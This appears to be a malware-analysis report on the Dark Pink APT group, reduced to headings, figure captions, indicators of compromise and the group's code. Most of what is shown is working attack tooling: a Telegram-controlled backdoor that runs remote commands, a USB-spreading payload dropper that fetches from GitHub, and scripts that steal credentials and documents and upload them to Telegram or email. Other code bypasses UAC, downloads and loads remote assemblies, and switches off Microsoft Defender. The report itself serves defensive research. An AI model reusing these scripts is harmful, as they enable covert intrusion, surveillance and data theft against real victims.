Andrey Polovinkin
Malware Analyst
Acknowledgements
Introduction
Key findings
Dark Pink takes on all comers
Figure 1: Screenshot detailing activity on Github account attributed to Dark Pink APT in 2021 (above) and 2022 (below)
Figure 2: Dark Pink APT timeline and targets
Kill Chain
Initial access
Figure 3: Screenshot of original spear-phishing email sent by Dark Pink APT noting the storage of the ISO image on a file-sharing site.
Figure 4: Screenshot detailing the five files contained in one ISO image seen by Group-IB. Note that the .doc and .dll files are in hidden view.
Trojan execution and persistence
Kill Chain 1: All-inclusive ISO
Figure 5: Graphic detailing the full scheme of Kill Chain 1
forfiles.exe /p %system32% /m notepad.exe /c "cmd.exe /c whoami >> %appdata%\a.abcd && %appdata%\a.abcd && exit"
Figure 6: Screenshot detailing command to run upon creation of file with extension .abcd
Kill Chain 2: Github macros
Figure 7: Graphic detailing the full scheme of Kill Chain 2
Figure 8: Screenshot detailing two forms contained predefined keys and values that are written to the registry by the malicious macro code written into the MS Word file sent to victims
Kill Chain 3: X(ML) marks the spot
Figure 9: Graphic detailing the full scheme of Kill Chain 3
Figure 10: Snippet of code inside XML file that unpacks and launches KakaKamiBot
Reconnaissance and lateral movement
Data exfiltration
$filepath="$env:tmp/backuplog";
$cred = New-Object System.Management.Automation.PSCredential ("lanhuong.jsc@outlook.com",(ConvertTo-SecureString "CHANGED" -AsPlainText -Force));
Send-MailMessage -To "blackpink.301@outlook[.]com" -From "blackred.113@outlook[.]com"
-Body "hello badboy" -SmtpServer "smtp-mail.outlook.com" -Port 587
-Subject "$env:computername" -UseSsl -Credential $cred
-Attachments (gci $filepath).fullname
Evasion techniques
Figure 11: Screenshot of decompiled executable that allows UAC to be bypassed
[Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString(URL)));
[NETLUA.Main]::BypassUAC("powershell\", \"-c {$command}")
Set-MpPreference -DisableArchiveScanning $true -ea 0;
Set-MpPreference -DisableBehaviorMonitoring $true -Force -ea 0;
Set-MpPreference -DisableCatchupFullScan $true -Force -ea 0;
Set-MpPreference -DisableCatchupQuickScan $true -Force -ea 0;
Set-MpPreference -DisableIntrusionPreventionSystem $true -Force -ea 0;
Set-MpPreference -DisableIOAVProtection $true -Force -ea 0;
Set-MpPreference -DisableRealtimeMonitoring $true -Force -ea 0;
Set-MpPreference -DisableRemovableDriveScanning $true -Force -ea 0;
Set-MpPreference -DisableRestorePoint $true -Force -ea 0;
Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true -Force -ea 0;
Set-MpPreference -DisableScanningNetworkFiles $true -Force -ea 0;
Set-MpPreference -DisableScriptScanning $true -Force -ea 0;
Set-MpPreference -EnableControlledFolderAccess Disabled -Force -ea 0;
Set-MpPreference -EnableNetworkProtection AuditMode -Force -ea 0;
Set-MpPreference -MAPSReporting Disabled -Force -ea 0;
Set-MpPreference -SubmitSamplesConsent NeverSend -Force -ea 0;
Set-MpPreference -PUAProtection Disabled -Force -ea 0
TOOLS
Cucky
Figure 12: Screenshot of decompiled Cucky stealer
C:\Users\hoang\source\repos\Cucky\Cucky\obj\Release\net46\Cucky.pdb
Ctealer
C:\Users\build\source\repos\CtealWebCredential\Release\CtealWebCredential.pdb
TelePowerBot
iex(
[System.Text.Encoding]::UTF8.GetString(
([System.Convert]::FromBase64String(
(gp "HKCU:\\SOFTWARE\\Classes\\abcdfile\\shell" -Name "abcd")."abcd") | % -Begin{$i=0} -Process{
$_ = $_ -bxor $i%256;$i++;$_
}
)
)
) | iex
KamiKakaBot
Figure 13: Screenshot detailing decompiled executable that contains KamiKakaBot
PowerSploit/Get-MicrophoneAudio
Start-Job {
while(1){
ps psr -erroraction 'silentlycontinue' | kill -force;sleep 30;
ni "$($env:tmp)\\record" -ItemType Directory -erroraction 'silentlycontinue';
start psr -ArgumentList "/start /output $($env:tmp)\\record\\$((get-date).tostring('yyyyMMddHHmmss')).zip /sc 1 /gui 0";
sleep 60;
start psr -ArgumentList "/stop"
}
}
ZMsg (Messenger exfiltration)
Commands
(gwmi cim_logicaldisk|?{($_.drivetype -eq 2)-and(Test-path $($_.deviceid)\\)}).deviceid;
(get-smbshare|?{($_.name -notlike "*$")-and($_.name -ne Users)-and($_.path -like *:\\*)}).path;
(Get-SMBMapping|?{$_.Status -eq "OK"}).remotepath|?{$_ -notlike '*\\IPC$'}
Add-type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.Screen]::AllScreens|%{
$bounds =$_.bounds;
if($bounds.width -lt 1920){$bounds.width=1920}
if($bounds.height -lt 1080){$bounds.height=1080}
$image = New-Object Drawing.Bitmap $bounds.width, $bounds.height
$graphics = [Drawing.Graphics]::FromImage($image)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$screen_file = "$env:tmp\\$($_.DeviceName.replace('\\\\.\\',''))_$((get-date).tostring('yyyyMMddHHmmss')).png"
$image.Save($screen_file)
$graphics.Dispose()
$image.Dispose()
$screen_file
}
Conclusion
Recommendations
Indicators of compromise
Cucky:
MD5: 926027F0308481610C85F4E3E433573B
SHA1: 24F65E0EE158FC63D98352F9828D014AB239AE16
SHA256: 9976625B5A3035DC68E878AD5AC3682CCB74EF2007C501C8023291548E11301A
Ctealer Loader:
MD5: 728AFA40B20DF6D2540648EF845EB754
SHA1: D8DF672ECD9018F3F2D23E5C966535C30A54B71D
SHA256: C60F778641942B7B0C00F3214211B137B683E8296ABB1905D2557BFB245BF775
Packed ctealer:
MD5: 7EAF1B65004421AC07C6BB1A997487B2
SHA1: 18CA159183C98F52DF45D3E9DB0087E17596A866
SHA256: E3181EE97D3FFD31C22C2C303C6E75D0196912083D0C21536E5833EE7D108736
MD5: 732091AD428419247BCE87603EA79F00
SHA1: 142F909C26BD57969EF93D7942587CDF15910E34
SHA256: E45DF7418CA47A9A4C4803697F4B28C618469C6E5A5678213AB81DF9FCC9FD51
$env:tmp\backuplog
$env:tmp\backuplog1
$env:appdata\archive.zip
$env:appdata\telegram.txt
$env:tmp\afkslfsa.csv
$env:tmp\AB.zip
$Env:tmp\AB
Microsoft Idle
gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5
HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKCU\Environment\OSBuild
HKCU\Environment\STMP
HKCU\Environment\SYSPS
HKCR:\zolfile\shell\open\command
HKCR:\zolofile\shell\open\command\zolo
HKCU:\Environment\guid
HKCU:\Environment\Update
HKCU:\Environment\UserInitMprLogonScript
HKCU:\SOFTWARE\\Classes\\abcdfile\shell\abcd\
HKCU:\SOFTWARE\Classes\.4ID\
HKCU:\SOFTWARE\Classes\.abcd
HKCU:\SOFTWARE\Classes\.psr
HKCU:\SOFTWARE\Classes\.zol
HKCU:\SOFTWARE\Classes\.zolo
HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command
HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command\
HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command\DelegateExecute
HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command\DelegateExecute\
HKCU:\SOFTWARE\Classes\abcdfile\shell
HKCU:\SOFTWARE\Classes\abcdfile\shell\aaaa
HKCU:\SOFTWARE\Classes\abcdfile\shell\abcd
HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command
HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\abcd
HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\DelegateExecute
HKCU:\SOFTWARE\Classes\psrfile\shell\open\command
HKCU:\SOFTWARE\Classes\psrfile\shell\open\command -Name DelegateExecute
HKCU:\SOFTWARE\Classes\zolfile\shell\open\command\DelegateExecute
HKCU:\SOFTWARE\Classes\zolfile\shell\open\command\zolo
HKCU:\SOFTWARE\Classes\zolofile\shell\open\command
HKCU:\SOFTWARE\Classes\zolofile\shell\open\command -Name DelegateExecute
HKCU:\SOFTWARE\Classes\zolofile\shell\open\command -Name DelegateExecute
HKCU:\SOFTWARE\Classes\zolofile\shell\open\command -Name zolo
HKCU:\SOFTWARE\Classes\zolofile\shell\open\command -Name zolo -Value
HKCU:\SOFTWARE\Classes\zolofile\shell\open\command\zolo
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Forfiles
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Psr
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Recents
APPENDIX A. TelePowerBot
[System.Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3")
$token="CHANGED"
$id=CHANGED
$mid=(gp "HKCU:\\Environment" -name Update).Update
$guid = (gp "HKCU:\\Environment" -name guid).guid
$ip=irm "https://ifconfig.me/ip"
if( -not (New-Object System.Threading.Mutex($false, $guid)).WaitOne(1)){
exit
}
if($mid -and $guid){
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip reconnected!"
}
else {
$guid = [guid]::NewGuid().guid
Set-ItemProperty "HKCU:\\Environment" -name "GUID" -value $guid
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip new connection!"
}
if($mid -isnot [int]){
$mid = 0
}
while(1){
Start-Sleep 60;
(irm -Uri "https://api.telegram.org/bot$($token)/getUpdates").result|%{
if ($mid -lt $_.update_id) {
$mid=$_.update_id;
$name,$task=$_.message.text -split " :: ";
if ( ($name -like $ip) -or ($name -like $env:COMPUTERNAME) -or ($name -like $guid) -or ($name -like "all")) {
$message = $($task | iex)2>&1 | Out-String;
if ("" -eq $message){
$message="Task Done!"
}
$b=0;
while ($b -lt $message.Length) {
$c = 4000;
if (($c + $b) -gt $message.Length){$c=$message.Length % 4000}
irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip answer message : $($_.message.message_id)`n$($message.Substring($b,$c))"
$b+=$c
}
}
}
Set-ItemProperty "HKCU:\\Environment" -name "Update" -value $mid
}
}
APPENDIX B. PowerShell script to later movement over removable device
[Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3");
$ErrorActionPreference="Continue";
$Query = "select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2";
$Action = {
(gwmi cim_logicaldisk|?{($_.drivetype -eq 2)-and(Test-path "$($_.deviceid)\")}).DeviceID|%{
$uri = "https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif";
Start-BitsTransfer -Source $uri -Destination "$Env:tmp\xxx.zip";
Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force
cp "$env:temp\xxx" "$_\dism" -Recurse -Force;
sc "$_\system.bat" -value "@echo off`ncd %cd%dism`nstart dism.exe`nexit";
attrib +s +h "$_\dism";attrib +s +h "$_\dism\*.*";attrib +s +h "$_\system.bat";
(Gci "$_\" -Directory -force)|?{$_.name -notin ('dism','$RECYCLE.BIN','System Volume Information')}|%{
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()
}
}
};
Register-WmiEvent -Query $Query -Action $Action -SourceIdentifier USBFlashDrive
APPENDIX C. PowerShell script to theft of credentials
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
[Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString("<https://raw.githubusercontent.com/efimovah/abcd/main/ZZZZZZZZZZZZZ.txt\>"))) | Out-Null;[kuky.Program]::Main();
Start-Sleep 60;
cp -path "$env:tmp\\backuplog" -Destination "$env:tmp\\backuplog1" -recurse -force; $file = "$env:tmp\\backuplog1";
$ascii = [System.Text.Encoding]::ascii;
Compress-Archive -Path $File -Destination "$file.zip" -Force;
$file = "$file.zip"
$reg = "HKCU:\\Environment"
$token,$chat_id = (gp $reg -name GUID).GUID -split "::"
Add-Type -AssemblyName System.Net.Http
$form = new-object System.Net.Http.MultipartFormDataContent
$form.Add($(New-Object System.Net.Http.StringContent $Chat_ID), 'chat_id')
$Content = [System.IO.File]::ReadAllBytes($file)
$byte = New-Object System.Net.Http.ByteArrayContent ($Content, 0, $Content.Length)
$byte.Headers.Add('Content-Type','text/plain')
$name = $ascii.getstring($ascii.getbytes("$($env:COMPUTERNAME)_$($file)")) -replace ':|\\\\|\\?','_'
$form.Add($byte, 'document', $name)
$ms = new-object System.IO.MemoryStream
$form.CopyToAsync($ms).Wait()
irm -Method Post -Body $ms.ToArray() -Uri "<https://api.telegram.org/bot$token/sendDocument\>" -ContentType $form.Headers.ContentType.ToString()
rm $file -Force -Recurse",
APPENDIX D. PowerShell script to exfiltrate documents from common network resource
$extentions = @('.doc','.docx','.xls','.xlsx','.ppt','.pptx','.pdf');
$file = "$env:tmp\\documents_$((get-date).tostring('yyyyMMddHHmmss')).csv"
gdr -PsProvider FileSystem | Select Root | %{gci -Path $_.Root -Recurse -ErrorAction SilentlyContinue} | ?{$_.fullname -notmatch 'C:\\\\Program Files*|C:\\\\Windows*'} | ?{$extentions -contains $_.Extension} | select name, fullname, LastWriteTime, length | Export-Csv -Path $file -encoding unicode;$file;
$ascii = [System.Text.Encoding]::ascii;
Compress-Archive -Path $File -Destination "$file.zip" -Force;
$file = "$file.zip"
$chat_id=CHANGED
$token="CHANGED"
Add-Type -AssemblyName System.Net.Http
$form = new-object System.Net.Http.MultipartFormDataContent
$form.Add($(New-Object System.Net.Http.StringContent $Chat_ID), 'chat_id')
$Content = [System.IO.File]::ReadAllBytes($file)
$byte = New-Object System.Net.Http.ByteArrayContent ($Content, 0, $Content.Length)
$byte.Headers.Add('Content-Type','text/plain')
$name = $ascii.getstring($ascii.getbytes("$($env:COMPUTERNAME)_$($file)")) -replace ':|\\\\|\\?','_'
$form.Add($byte, 'document', $name)
$ms = new-object System.IO.MemoryStream
$form.CopyToAsync($ms).Wait()
irm -Method Post -Body $ms.ToArray() -Uri "https://api.telegram.org/bot$token/sendDocument" -ContentType $form.Headers.ContentType.ToString()
rm $file -Force -Recurse
If you found this article helpful, share it with your friends!